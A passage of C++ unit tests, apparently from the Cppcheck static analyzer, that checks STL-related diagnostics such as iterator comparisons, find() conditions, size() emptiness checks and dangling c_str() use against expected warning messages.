std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the 